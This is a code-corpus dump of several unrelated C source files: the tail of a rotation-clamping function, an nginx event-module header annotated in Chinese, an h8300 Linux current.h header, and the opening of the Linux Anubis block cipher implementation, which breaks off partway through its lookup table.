Math_ApproachS(headXRotStep, yaw - *torsoXRotStep, 4, 0x2AA8);
*headXRotStep = CLAMP(*headXRotStep, -headXRotStepMax, headXRotStepMax);
Math_ApproachS(torsoXRotStep, yaw - *headXRotStep, 4, 0x2AA8);
*torsoXRotStep = CLAMP(*torsoXRotStep, -torsoXRotStepMax, torsoXRotStepMax);
} else {
Math_ApproachS(headXRotStep, 0, 4, 0x2AA8);
Math_ApproachS(torsoXRotStep, 0, 4, 0x2AA8);
}
if (BINANG_ADD(headZRotStepMax, torsoZRotStepMax) >= (s16)ABS(pitch)) {
Math_ApproachS(headZRotStep, pitch - *torsoZRotStep, 4, 0x2AA8);
*headZRotStep = CLAMP(*headZRotStep, -headZRotStepMax, headZRotStepMax);
Math_ApproachS(torsoZRotStep, pitch - *headZRotStep, 4, 0x2AA8);
*torsoZRotStep = CLAMP(*torsoZRotStep, -torsoZRotStepMax, torsoZRotStepMax);
} else {
Math_ApproachS(headZRotStep, 0, 4, 0x2AA8);
Math_ApproachS(torsoZRotStep, 0, 4, 0x2AA8);
}
return true;
}
|
568be1f1d2e29211c15fa3d21f891e1cd0bbc2a4
|
b1fcecfa2d9b42db62ba22f4635b3e845bf4ab56
|
/nginx/src/event/ngx_event.h
|
865de835401f78b6226196e258684ada48f631db
|
[
"BSD-2-Clause"
] |
permissive
|
chronolaw/annotated_nginx
|
606b5ae08b8173daa01fcac353b089b17deff08d
|
60b0e2a15d4c7c51313bd117bab026046c3da01b
|
refs/heads/master
| 2023-06-29T09:15:23.066046
| 2023-06-17T08:35:25
| 2023-06-17T08:35:25
| 51,183,743
| 573
| 206
| null | null | null | null |
UTF-8
|
C
| false
| false
| 24,492
|
h
|
ngx_event.h
|
// annotated by chrono since 2016
//
// * ngx_event_s
// * ngx_event_actions_t
// * ngx_event_conf_t
// * ngx_event_module_t
// * ngx_event_accept
// * ngx_process_events_and_timers
/*
* Copyright (C) Igor Sysoev
* Copyright (C) Nginx, Inc.
*/
#ifndef _NGX_EVENT_H_INCLUDED_
#define _NGX_EVENT_H_INCLUDED_
#include <ngx_config.h>
#include <ngx_core.h>
#define NGX_INVALID_INDEX 0xd0d0d0d0
#if (NGX_HAVE_IOCP)
typedef struct {
WSAOVERLAPPED ovlp;
ngx_event_t *event;
int error;
} ngx_event_ovlp_t;
#endif
// nginx事件模块的核心结构体
// 表示一个nginx事件(读/写/超时)
// data表示事件相关的对象,通常是ngx_connection_t,用c = ev->data;
// 重要的成员是handler,即事件发生时调用的函数
struct ngx_event_s {
// 事件相关的对象,通常是ngx_connection_t
// 在多线程通知里是ngx_event_handler_pt,即通知回调函数
void *data;
// 写事件,也就是说tcp连接是写状态,可以发送数据
// 如果是0,意味着这个事件是读事件
// ngx_connection.c:ngx_get_connection里设置
unsigned write:1;
// 监听状态标志位,只有listening相关的事件才置此标志位
unsigned accept:1;
/* used to detect the stale events in kqueue and epoll */
// 检测事件是否失效
// 存储在epoll数据结构体里的指针低位
// 在ngx_get_connection里获取空闲连接时,这个标志位会取反
// 这样如果连接失效,那么instance就会不同
// 判断逻辑在ngx_epoll_module.c:ngx_epoll_process_events
unsigned instance:1;
/*
* the event was passed or would be passed to a kernel;
* in aio mode - operation was posted.
*/
// 事件是否是活跃的,也就是说已经添加进了epoll关注
unsigned active:1;
// epoll无意义
unsigned disabled:1;
/* the ready event; in aio mode 0 means that no operation can be posted */
// 事件已经就绪,也就是说有数据可读或者可以发送数据
// 在读写操作完成后会置ready=0
unsigned ready:1;
// epoll无意义
unsigned oneshot:1;
/* aio operation is complete */
// 异步操作的完成标志,用于aio和多线程
unsigned complete:1;
// 当前的字节流已经结束即eof,不会再有数据可读
// 如果recv() == 0 ,客户端关闭连接,那么置此标记
unsigned eof:1;
// 发生了错误
unsigned error:1;
// 事件是否已经超时
// 由ngx_event_expire_timers遍历定时器红黑树,找出所有过期的事件设置此标志位
unsigned timedout:1;
// 事件是否在定时器里
// ngx_add_timer加入定时器时设置
// 处理完定时器事件后清除标记
unsigned timer_set:1;
// 需要延迟处理,用于限速,nginx会暂不写数据
// 参考ngx_http_write_filter_module.c
unsigned delayed:1;
// 延迟接收请求,即只有客户端真正发来数据时内核才会触发accept
// 可以提高运行效率
unsigned deferred_accept:1;
/* the pending eof reported by kqueue, epoll or in aio chain operation */
unsigned pending_eof:1;
// 事件是否已经加入延后处理队列中,可以加快事件的处理速度
// 操作函数宏ngx_post_event/ngx_delete_posted_event
// ngx_posted_accept_events/ngx_posted_events
unsigned posted:1;
unsigned closed:1;
/* to test on worker exit */
unsigned channel:1;
unsigned resolver:1;
// 在进程退出时定时器是否可以忽略
unsigned cancelable:1;
#if (NGX_HAVE_KQUEUE)
unsigned kq_vnode:1;
/* the pending errno reported by kqueue */
int kq_errno;
#endif
/*
* kqueue only:
* accept: number of sockets that wait to be accepted
* read: bytes to read when event is ready
* or lowat when event is set with NGX_LOWAT_EVENT flag
* write: available space in buffer when event is ready
* or lowat when event is set with NGX_LOWAT_EVENT flag
*
* iocp: TODO
*
* otherwise:
* accept: 1 if accept many, 0 otherwise
* read: bytes to read when event is ready, -1 if not known
*/
// 是否尽可能多地接受请求建立连接,即multi_accept
// 1.11.x后增加新用途,在接收数据时标记是否可用
// 早期(< 1.17.4)这里使用了bit field,只能存储0/1,节约内存
int available;
// 重要!!
// 事件发生时调用的函数
// ngx_core.h:typedef void (*ngx_event_handler_pt)(ngx_event_t *ev);
// tcp/http接受连接时的回调是ngx_event_accept
// udp接受连接时的回调是ngx_event_recvmsg
ngx_event_handler_pt handler;
#if (NGX_HAVE_IOCP)
ngx_event_ovlp_t ovlp;
#endif
// 在epoll通知机制里用作简单的计数器ngx_epoll_notify_handler
ngx_uint_t index;
// 日志对象
ngx_log_t *log;
// 红黑树节点成员,用于把事件加入定时器
// 判断事件超时用
ngx_rbtree_node_t timer;
/* the posted queue */
// 队列成员,加入延后处理的队列
// ngx_posted_accept_events/ngx_posted_events
ngx_queue_t queue;
#if 0
/* the threads support */
/*
* the event thread context, we store it here
* if $(CC) does not understand __thread declaration
* and pthread_getspecific() is too costly
*/
void *thr_ctx;
#if (NGX_EVENT_T_PADDING)
/* event should not cross cache line in SMP */
uint32_t padding[NGX_EVENT_T_PADDING];
#endif
#endif
};
#if (NGX_HAVE_FILE_AIO)
struct ngx_event_aio_s {
void *data;
ngx_event_handler_pt handler;
ngx_file_t *file;
ngx_fd_t fd;
#if (NGX_HAVE_EVENTFD)
int64_t res;
#endif
#if !(NGX_HAVE_EVENTFD) || (NGX_TEST_BUILD_EPOLL)
ngx_err_t err;
size_t nbytes;
#endif
ngx_aiocb_t aiocb;
ngx_event_t event;
};
#endif
// 可以使用typedef来简化ngx_event_actions_t的定义
#if 0
typedef ngx_int_t (*events_ctl_pt)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);
typedef ngx_int_t (*events_add_all_pt)(ngx_connection_t *c);
typedef ngx_int_t (*events_del_all_pt)(ngx_connection_t *c, ngx_uint_t flags);
typedef ngx_int_t (*events_notify_pt)(ngx_event_handler_pt handler);
typedef ngx_int_t (*events_process_pt)(ngx_cycle_t *cycle, ngx_msec_t timer, ngx_uint_t flags);
typedef ngx_int_t (*events_init_pt)(ngx_cycle_t *cycle, ngx_msec_t timer);
typedef void (*events_done_pt)(ngx_cycle_t *cycle);
typedef struct {
events_ctl_pt add;
events_ctl_pt del;
events_ctl_pt enable;
events_ctl_pt disable;
events_add_all_pt add_conn;
events_del_all_pt del_conn;
events_notify_pt notify;
events_process_pt process_events;
events_init_pt init;
events_done_pt done;
} ngx_event_actions_t;
#endif
// 添加读事件的便捷接口,适合epoll/kqueue/select等各种事件模型
// 内部还是调用ngx_add_event
// ngx_int_t ngx_handle_read_event(ngx_event_t *rev, ngx_uint_t flags);
//
// 添加写事件的便捷接口,适合epoll/kqueue/select等各种事件模型
// 内部还是调用ngx_add_event,多了个send_lowat操作
// linux不支持send_lowat指令,send_lowat总是0
// ngx_int_t ngx_handle_write_event(ngx_event_t *wev, size_t lowat);
// ngx_event_actions_t
// 全局的事件模块访问接口,是一个函数表
// 由epoll/kqueue/select等模块实现
// epoll的实现在modules/ngx_epoll_module.c
typedef struct {
// 添加事件,事件发生时epoll调用可以获取
// epoll添加事件
// 检查事件关联的连接对象,决定是新添加还是修改
// 避免误删除了读写事件的关注
ngx_int_t (*add)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);
// 删除事件,epoll不再关注该事件
// epoll删除事件
// 检查事件关联的连接对象,决定是完全删除还是修改
// 避免误删除了读写事件的关注
ngx_int_t (*del)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);
// 同add
ngx_int_t (*enable)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);
// 同del
ngx_int_t (*disable)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);
// 添加一个连接,也就是读写事件都添加
// epoll关注连接的读写事件
// 添加事件成功,读写事件都是活跃的,即已经使用
ngx_int_t (*add_conn)(ngx_connection_t *c);
// 删除一个连接,该连接的读写事件都不再关注
// epoll删除连接的读写事件
// 删除事件成功,读写事件都不活跃
ngx_int_t (*del_conn)(ngx_connection_t *c, ngx_uint_t flags);
// 目前仅多线程使用,通知
// 调用系统函数eventfd,创建一个可以用于通知的描述符,用于实现notify
// 模仿此用法也可以实现自己的通知机制
ngx_int_t (*notify)(ngx_event_handler_pt handler);
// 事件模型的核心功能,处理发生的事件
//
// epoll模块核心功能,调用epoll_wait处理发生的事件
// 使用event_list和nevents获取内核返回的事件
// timer是无事件发生时最多等待的时间,即超时时间
// 函数可以分为两部分,一是用epoll获得事件,二是处理事件,加入延后队列
// 在ngx_process_events_and_timers里被调用
ngx_int_t (*process_events)(ngx_cycle_t *cycle, ngx_msec_t timer,
ngx_uint_t flags);
// 初始化事件模块
// 调用epoll_create初始化epoll机制
// 参数size=cycle->connection_n / 2,但并无实际意义
// 设置全局变量,操作系统提供的底层数据收发接口
// 初始化全局的事件模块访问接口,指向epoll的函数
// 默认使用et模式,边缘触发,高速
ngx_int_t (*init)(ngx_cycle_t *cycle, ngx_msec_t timer);
// 事件模块结束时的收尾工作
// epoll模块结束工作,关闭epoll句柄和通知句柄,释放内存
void (*done)(ngx_cycle_t *cycle);
} ngx_event_actions_t;
// 全局的事件模块访问接口,是一个函数表
// 定义了若干宏简化对它的操作
// 常用的有ngx_add_event/ngx_del_event
// 在epoll模块的ngx_epoll_init里设置,指向epoll的函数
// ngx_event_actions = ngx_epoll_module_ctx.actions;
extern ngx_event_actions_t ngx_event_actions;
#if (NGX_HAVE_EPOLLRDHUP)
extern ngx_uint_t ngx_use_epoll_rdhup;
#endif
/*
* The event filter requires to read/write the whole data:
* select, poll, /dev/poll, kqueue, epoll.
*/
// lt模式
#define NGX_USE_LEVEL_EVENT 0x00000001
/*
* The event filter is deleted after a notification without an additional
* syscall: kqueue, epoll.
*/
#define NGX_USE_ONESHOT_EVENT 0x00000002
/*
* The event filter notifies only the changes and an initial level:
* kqueue, epoll.
*/
// clear event也就是et模式
#define NGX_USE_CLEAR_EVENT 0x00000004
/*
* The event filter has kqueue features: the eof flag, errno,
* available data, etc.
*/
#define NGX_USE_KQUEUE_EVENT 0x00000008
/*
* The event filter supports low water mark: kqueue's NOTE_LOWAT.
* kqueue in FreeBSD 4.1-4.2 has no NOTE_LOWAT so we need a separate flag.
*/
#define NGX_USE_LOWAT_EVENT 0x00000010
/*
* The event filter requires to do i/o operation until EAGAIN: epoll.
*/
// 即ET模式
#define NGX_USE_GREEDY_EVENT 0x00000020
/*
* The event filter is epoll.
*/
// 在linux上我们通常使用epoll
#define NGX_USE_EPOLL_EVENT 0x00000040
/*
* Obsolete.
*/
// rtsig在nginx 1.9.x里已经被删除
#define NGX_USE_RTSIG_EVENT 0x00000080
/*
* Obsolete.
*/
// aio在nginx 1.9.x里已经被删除
#define NGX_USE_AIO_EVENT 0x00000100
/*
* Need to add socket or handle only once: i/o completion port.
*/
#define NGX_USE_IOCP_EVENT 0x00000200
/*
* The event filter has no opaque data and requires file descriptors table:
* poll, /dev/poll.
*/
#define NGX_USE_FD_EVENT 0x00000400
/*
* The event module handles periodic or absolute timer event by itself:
* kqueue in FreeBSD 4.4, NetBSD 2.0, and MacOSX 10.4, Solaris 10's event ports.
*/
#define NGX_USE_TIMER_EVENT 0x00000800
/*
* All event filters on file descriptor are deleted after a notification:
* Solaris 10's event ports.
*/
#define NGX_USE_EVENTPORT_EVENT 0x00001000
/*
* The event filter support vnode notifications: kqueue.
*/
#define NGX_USE_VNODE_EVENT 0x00002000
/*
* The event filter is deleted just before the closing file.
* Has no meaning for select and poll.
* kqueue, epoll, eventport: allows to avoid explicit delete,
* because filter automatically is deleted
* on file close,
*
* /dev/poll: we need to flush POLLREMOVE event
* before closing file.
*/
#define NGX_CLOSE_EVENT 1
/*
* disable temporarily event filter, this may avoid locks
* in kernel malloc()/free(): kqueue.
*/
#define NGX_DISABLE_EVENT 2
/*
* event must be passed to kernel right now, do not wait until batch processing.
*/
#define NGX_FLUSH_EVENT 4
/* these flags have a meaning only for kqueue */
#define NGX_LOWAT_EVENT 0
#define NGX_VNODE_EVENT 0
#if (NGX_HAVE_EPOLL) && !(NGX_HAVE_EPOLLRDHUP)
#define EPOLLRDHUP 0
#endif
// 重定义事件宏,屏蔽系统差异
// kqueue in freebsd/osx
#if (NGX_HAVE_KQUEUE)
#define NGX_READ_EVENT EVFILT_READ
#define NGX_WRITE_EVENT EVFILT_WRITE
#undef NGX_VNODE_EVENT
#define NGX_VNODE_EVENT EVFILT_VNODE
/*
* NGX_CLOSE_EVENT, NGX_LOWAT_EVENT, and NGX_FLUSH_EVENT are the module flags
* and they must not go into a kernel so we need to choose the value
* that must not interfere with any existent and future kqueue flags.
* kqueue has such values - EV_FLAG1, EV_EOF, and EV_ERROR:
* they are reserved and cleared on a kernel entrance.
*/
#undef NGX_CLOSE_EVENT
#define NGX_CLOSE_EVENT EV_EOF
#undef NGX_LOWAT_EVENT
#define NGX_LOWAT_EVENT EV_FLAG1
#undef NGX_FLUSH_EVENT
#define NGX_FLUSH_EVENT EV_ERROR
#define NGX_LEVEL_EVENT 0
#define NGX_ONESHOT_EVENT EV_ONESHOT
#define NGX_CLEAR_EVENT EV_CLEAR
#undef NGX_DISABLE_EVENT
#define NGX_DISABLE_EVENT EV_DISABLE
#elif (NGX_HAVE_DEVPOLL && !(NGX_TEST_BUILD_DEVPOLL)) \
|| (NGX_HAVE_EVENTPORT && !(NGX_TEST_BUILD_EVENTPORT))
#define NGX_READ_EVENT POLLIN
#define NGX_WRITE_EVENT POLLOUT
#define NGX_LEVEL_EVENT 0
#define NGX_ONESHOT_EVENT 1
// linux使用epoll
#elif (NGX_HAVE_EPOLL) && !(NGX_TEST_BUILD_EPOLL)
// 读事件,即可读或者有accept连接
// EPOLLRDHUP表示客户端关闭连接(断连),也当做读事件处理
// 这时recv返回0
#define NGX_READ_EVENT (EPOLLIN|EPOLLRDHUP)
// 写事件,可写
#define NGX_WRITE_EVENT EPOLLOUT
// 水平触发,仅用于accept接受连接
#define NGX_LEVEL_EVENT 0
// 边缘触发,高速模式
#define NGX_CLEAR_EVENT EPOLLET
#define NGX_ONESHOT_EVENT 0x70000000
#if 0
#define NGX_ONESHOT_EVENT EPOLLONESHOT
#endif
#if (NGX_HAVE_EPOLLEXCLUSIVE)
#define NGX_EXCLUSIVE_EVENT EPOLLEXCLUSIVE
#endif
// poll
#elif (NGX_HAVE_POLL)
#define NGX_READ_EVENT POLLIN
#define NGX_WRITE_EVENT POLLOUT
#define NGX_LEVEL_EVENT 0
#define NGX_ONESHOT_EVENT 1
// select
#else /* select */
#define NGX_READ_EVENT 0
#define NGX_WRITE_EVENT 1
#define NGX_LEVEL_EVENT 0
#define NGX_ONESHOT_EVENT 1
#endif /* NGX_HAVE_KQUEUE */
#if (NGX_HAVE_IOCP)
#define NGX_IOCP_ACCEPT 0
#define NGX_IOCP_IO 1
#define NGX_IOCP_CONNECT 2
#endif
#if (NGX_TEST_BUILD_EPOLL)
#define NGX_EXCLUSIVE_EVENT 0
#endif
#ifndef NGX_CLEAR_EVENT
#define NGX_CLEAR_EVENT 0 /* dummy declaration */
#endif
// 全局的事件模块访问接口,是一个函数表
// 定义了若干宏简化对它的操作
// 常用的有ngx_add_event/ngx_del_event
#define ngx_process_events ngx_event_actions.process_events
#define ngx_done_events ngx_event_actions.done
// 向epoll添加删除事件
#define ngx_add_event ngx_event_actions.add
#define ngx_del_event ngx_event_actions.del
// 向epoll添加删除连接,即同时添加读写事件
#define ngx_add_conn ngx_event_actions.add_conn
#define ngx_del_conn ngx_event_actions.del_conn
// 事件通知
#define ngx_notify ngx_event_actions.notify
// 向定时器红黑树里添加事件,设置超时,ngx_event_timer.h
#define ngx_add_timer ngx_event_add_timer
// 从定时器红黑树里删除事件, ngx_event_timer.h
#define ngx_del_timer ngx_event_del_timer
// os/unix/ngx_os.h
// 操作系统提供的底层数据收发接口
// ngx_posix_init.c里初始化为linux的底层接口
// 在epoll模块的ngx_epoll_init里设置
//
// typedef struct {
// ngx_recv_pt recv;
// ngx_recv_chain_pt recv_chain;
// ngx_recv_pt udp_recv;
// ngx_send_pt send;
// ngx_send_chain_pt send_chain;
// ngx_uint_t flags;
// } ngx_os_io_t;
//
// in ngx_connection.c
extern ngx_os_io_t ngx_io;
// 宏定义简化调用
#define ngx_recv ngx_io.recv
#define ngx_recv_chain ngx_io.recv_chain
#define ngx_udp_recv ngx_io.udp_recv
#define ngx_send ngx_io.send
#define ngx_send_chain ngx_io.send_chain
#define ngx_udp_send ngx_io.udp_send
#define ngx_udp_send_chain ngx_io.udp_send_chain
// event模块的type标记
#define NGX_EVENT_MODULE 0x544E5645 /* "EVNT" */
#define NGX_EVENT_CONF 0x02000000
// ngx_event_conf_t
// event_core模块的配置结构体
typedef struct {
// nginx每个进程可使用的连接数量,即cycle里的连接池大小
ngx_uint_t connections;
// 使用的是哪个event模块,值是具体事件模块的ctx_index
ngx_uint_t use;
// 是否尽可能多接受客户端请求,会影响进程间负载均衡
ngx_flag_t multi_accept;
// 是否使用负载均衡锁,在共享内存里的一个原子变量
ngx_flag_t accept_mutex;
// 负载均衡锁的等待时间,进程如果未获得锁会等一下再尝试
ngx_msec_t accept_mutex_delay;
// 事件模块的名字,如epoll/select/kqueue
// 使用name在event模块里查找,决定使用的事件机制
u_char *name;
// 针对某些连接打印调试日志
#if (NGX_DEBUG)
ngx_array_t debug_connection;
#endif
} ngx_event_conf_t;
// ngx_event_module_t
// 事件模块的函数指针表
// 核心是actions,即事件处理函数
typedef struct {
// 事件模块的名字,如epoll/select/kqueue
ngx_str_t *name;
// 事件模块的配置相关函数比较简单
void *(*create_conf)(ngx_cycle_t *cycle);
char *(*init_conf)(ngx_cycle_t *cycle, void *conf);
// 事件模块访问接口,是一个函数表
ngx_event_actions_t actions;
} ngx_event_module_t;
// 连接计数器,使用共享内存,所有worker公用
extern ngx_atomic_t *ngx_connection_counter;
// 用共享内存实现的原子变量,负载均衡锁
// 使用1.9.x的reuseport会自动禁用负载均衡,效率更高
extern ngx_atomic_t *ngx_accept_mutex_ptr;
extern ngx_shmtx_t ngx_accept_mutex;
extern ngx_uint_t ngx_use_accept_mutex;
extern ngx_uint_t ngx_accept_events;
extern ngx_uint_t ngx_accept_mutex_held;
extern ngx_msec_t ngx_accept_mutex_delay;
extern ngx_int_t ngx_accept_disabled;
extern ngx_uint_t ngx_use_exclusive_accept;
// stat模块的统计用变量,也用共享内存实现
#if (NGX_STAT_STUB)
extern ngx_atomic_t *ngx_stat_accepted;
extern ngx_atomic_t *ngx_stat_handled;
extern ngx_atomic_t *ngx_stat_requests;
extern ngx_atomic_t *ngx_stat_active;
extern ngx_atomic_t *ngx_stat_reading;
extern ngx_atomic_t *ngx_stat_writing;
extern ngx_atomic_t *ngx_stat_waiting;
#endif
// NGX_UPDATE_TIME要求epoll主动更新时间
#define NGX_UPDATE_TIME 1
// 要求事件延后处理,加入post队列,避免处理事件过多地占用负载均衡锁
#define NGX_POST_EVENTS 2
// 在epoll的ngx_epoll_process_events里检查,更新时间的标志
extern sig_atomic_t ngx_event_timer_alarm;
// 事件模型的基本标志位
// 在ngx_epoll_init里设置为et模式,边缘触发
// NGX_USE_CLEAR_EVENT|NGX_USE_GREEDY_EVENT|NGX_USE_EPOLL_EVENT
extern ngx_uint_t ngx_event_flags;
extern ngx_module_t ngx_events_module;
extern ngx_module_t ngx_event_core_module;
// 函数宏,从cycle的conf_ctx里获得event模块的指针,然后再取数组序号
// 1.15.6之前有隐患,宏末尾多了分号,如果用在函数里就会编译失败
// 应该是个小bug,其他的xxx_get_conf没有分号
// 1.15.6修复
#define ngx_event_get_conf(conf_ctx, module) \
(*(ngx_get_conf(conf_ctx, ngx_events_module))) [module.ctx_index]
// ngx_event_process_init里设置接受连接的回调函数为ngx_event_accept,可以接受连接
// 监听端口上收到连接请求时的回调函数,即事件handler
// 从cycle的连接池里获取连接
// 关键操作 ls->handler(c);调用其他模块的业务handler
// 例如ngx_http_init_connection,ngx_stream_init_connection
void ngx_event_accept(ngx_event_t *ev);
//#if !(NGX_WIN32)
//// 1.10新增函数,接受udp连接的handler
//void ngx_event_recvmsg(ngx_event_t *ev);
//void ngx_udp_rbtree_insert_value(ngx_rbtree_node_t *temp,
// ngx_rbtree_node_t *node, ngx_rbtree_node_t *sentinel);
//#endif
//
//// 1.15.7改为非static
//// 清理函数,会删除红黑树节点
//void ngx_delete_udp_connection(void *data);
// 尝试获取负载均衡锁,监听端口
// 如未获取则不监听端口
// 内部调用ngx_enable_accept_events/ngx_disable_accept_events
ngx_int_t ngx_trylock_accept_mutex(ngx_cycle_t *cycle);
// 遍历监听端口列表,加入epoll连接事件,开始接受请求
ngx_int_t ngx_enable_accept_events(ngx_cycle_t *cycle);
u_char *ngx_accept_log_error(ngx_log_t *log, u_char *buf, size_t len);
#if (NGX_DEBUG)
void ngx_debug_accepted_connection(ngx_event_conf_t *ecf, ngx_connection_t *c);
#endif
// 在ngx_single_process_cycle/ngx_worker_process_cycle里调用
// 处理socket读写事件和定时器事件
// 获取负载均衡锁,监听端口接受连接
// 调用epoll模块的ngx_epoll_process_events获取发生的事件
// 然后处理超时事件和在延后队列里的所有事件
void ngx_process_events_and_timers(ngx_cycle_t *cycle);
// 添加读事件的便捷接口,适合epoll/kqueue/select等各种事件模型
// 内部还是调用ngx_add_event
ngx_int_t ngx_handle_read_event(ngx_event_t *rev, ngx_uint_t flags);
// 添加写事件的便捷接口,适合epoll/kqueue/select等各种事件模型
// 内部还是调用ngx_add_event,多了个send_lowat操作
// linux不支持send_lowat指令,send_lowat总是0
ngx_int_t ngx_handle_write_event(ngx_event_t *wev, size_t lowat);
#if (NGX_WIN32)
void ngx_event_acceptex(ngx_event_t *ev);
ngx_int_t ngx_event_post_acceptex(ngx_listening_t *ls, ngx_uint_t n);
u_char *ngx_acceptex_log_error(ngx_log_t *log, u_char *buf, size_t len);
#endif
// 设置发送数据时epoll的响应阈值
// 当系统空闲缓冲超过lowat时触发epoll可写事件
// linux不支持send_lowat指令,send_lowat总是0
ngx_int_t ngx_send_lowat(ngx_connection_t *c, size_t lowat);
/* used in ngx_log_debugX() */
#define ngx_event_ident(p) ((ngx_connection_t *) (p))->fd
#include <ngx_event_timer.h>
#include <ngx_event_posted.h>
#include <ngx_event_udp.h>
#if (NGX_WIN32)
#include <ngx_iocp_module.h>
#endif
#endif /* _NGX_EVENT_H_INCLUDED_ */
|
3862277def3ca5cd41dbcf26854218876c05ef53
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/arch/h8300/include/asm/current.h
|
57d74ee55a1479c9f63e490d6348562f74f8cb33
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 602
|
h
|
current.h
|
#ifndef _H8300_CURRENT_H
#define _H8300_CURRENT_H
/*
* current.h
* (C) Copyright 2000, Lineo, David McCullough <davidm@lineo.com>
* (C) Copyright 2002, Greg Ungerer (gerg@snapgear.com)
*
* rather than dedicate a register (as the m68k source does), we
* just keep a global, we should probably just change it all to be
* current and lose _current_task.
*/
#include <linux/thread_info.h>
#include <asm/thread_info.h>
struct task_struct;
static inline struct task_struct *get_current(void)
{
return(current_thread_info()->task);
}
#define current get_current()
#endif /* _H8300_CURRENT_H */
|
b33b9f4a1f6ee2ccbb5c9c7094c9bece12f4fd4d
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/crypto/anubis.c
|
4bb187c2a9027bab28e82370bd54f128602a25f1
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 28,461
|
c
|
anubis.c
|
/*
* Cryptographic API.
*
* Anubis Algorithm
*
* The Anubis algorithm was developed by Paulo S. L. M. Barreto and
* Vincent Rijmen.
*
* See
*
* P.S.L.M. Barreto, V. Rijmen,
* ``The Anubis block cipher,''
* NESSIE submission, 2000.
*
* This software implements the "tweaked" version of Anubis.
* Only the S-box and (consequently) the rounds constants have been
* changed.
*
* The original authors have disclaimed all copyright interest in this
* code and thus put it in the public domain. The subsequent authors
* have put this under the GNU General Public License.
*
* By Aaron Grothe ajgrothe@yahoo.com, October 28, 2004
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/mm.h>
#include <asm/byteorder.h>
#include <linux/crypto.h>
#include <linux/types.h>
#define ANUBIS_MIN_KEY_SIZE 16
#define ANUBIS_MAX_KEY_SIZE 40
#define ANUBIS_BLOCK_SIZE 16
#define ANUBIS_MAX_N 10
#define ANUBIS_MAX_ROUNDS (8 + ANUBIS_MAX_N)
struct anubis_ctx {
int key_len; // in bits
int R;
u32 E[ANUBIS_MAX_ROUNDS + 1][4];
u32 D[ANUBIS_MAX_ROUNDS + 1][4];
};
static const u32 T0[256] = {
0xba69d2bbU, 0x54a84de5U, 0x2f5ebce2U, 0x74e8cd25U,
0x53a651f7U, 0xd3bb6bd0U, 0xd2b96fd6U, 0x4d9a29b3U,
0x50a05dfdU, 0xac458acfU, 0x8d070e09U, 0xbf63c6a5U,
0x70e0dd3dU, 0x52a455f1U, 0x9a29527bU, 0x4c982db5U,
0xeac98f46U, 0xd5b773c4U, 0x97336655U, 0xd1bf63dcU,
0x3366ccaaU, 0x51a259fbU, 0x5bb671c7U, 0xa651a2f3U,
0xdea15ffeU, 0x48903dadU, 0xa84d9ad7U, 0x992f5e71U,
0xdbab4be0U, 0x3264c8acU, 0xb773e695U, 0xfce5d732U,
0xe3dbab70U, 0x9e214263U, 0x913f7e41U, 0x9b2b567dU,
0xe2d9af76U, 0xbb6bd6bdU, 0x4182199bU, 0x6edca579U,
0xa557aef9U, 0xcb8b0b80U, 0x6bd6b167U, 0x95376e59U,
0xa15fbee1U, 0xf3fbeb10U, 0xb17ffe81U, 0x0204080cU,
0xcc851792U, 0xc49537a2U, 0x1d3a744eU, 0x14285078U,
0xc39b2bb0U, 0x63c69157U, 0xdaa94fe6U, 0x5dba69d3U,
0x5fbe61dfU, 0xdca557f2U, 0x7dfae913U, 0xcd871394U,
0x7ffee11fU, 0x5ab475c1U, 0x6cd8ad75U, 0x5cb86dd5U,
0xf7f3fb08U, 0x264c98d4U, 0xffe3db38U, 0xedc79354U,
0xe8cd874aU, 0x9d274e69U, 0x6fdea17fU, 0x8e010203U,
0x19326456U, 0xa05dbae7U, 0xf0fde71aU, 0x890f1e11U,
0x0f1e3c22U, 0x070e1c12U, 0xaf4386c5U, 0xfbebcb20U,
0x08102030U, 0x152a547eU, 0x0d1a342eU, 0x04081018U,
0x01020406U, 0x64c88d45U, 0xdfa35bf8U, 0x76ecc529U,
0x79f2f90bU, 0xdda753f4U, 0x3d7af48eU, 0x162c5874U,
0x3f7efc82U, 0x376edcb2U, 0x6ddaa973U, 0x3870e090U,
0xb96fdeb1U, 0x73e6d137U, 0xe9cf834cU, 0x356ad4beU,
0x55aa49e3U, 0x71e2d93bU, 0x7bf6f107U, 0x8c050a0fU,
0x72e4d531U, 0x880d1a17U, 0xf6f1ff0eU, 0x2a54a8fcU,
0x3e7cf884U, 0x5ebc65d9U, 0x274e9cd2U, 0x468c0589U,
0x0c183028U, 0x65ca8943U, 0x68d0bd6dU, 0x61c2995bU,
0x03060c0aU, 0xc19f23bcU, 0x57ae41efU, 0xd6b17fceU,
0xd9af43ecU, 0x58b07dcdU, 0xd8ad47eaU, 0x66cc8549U,
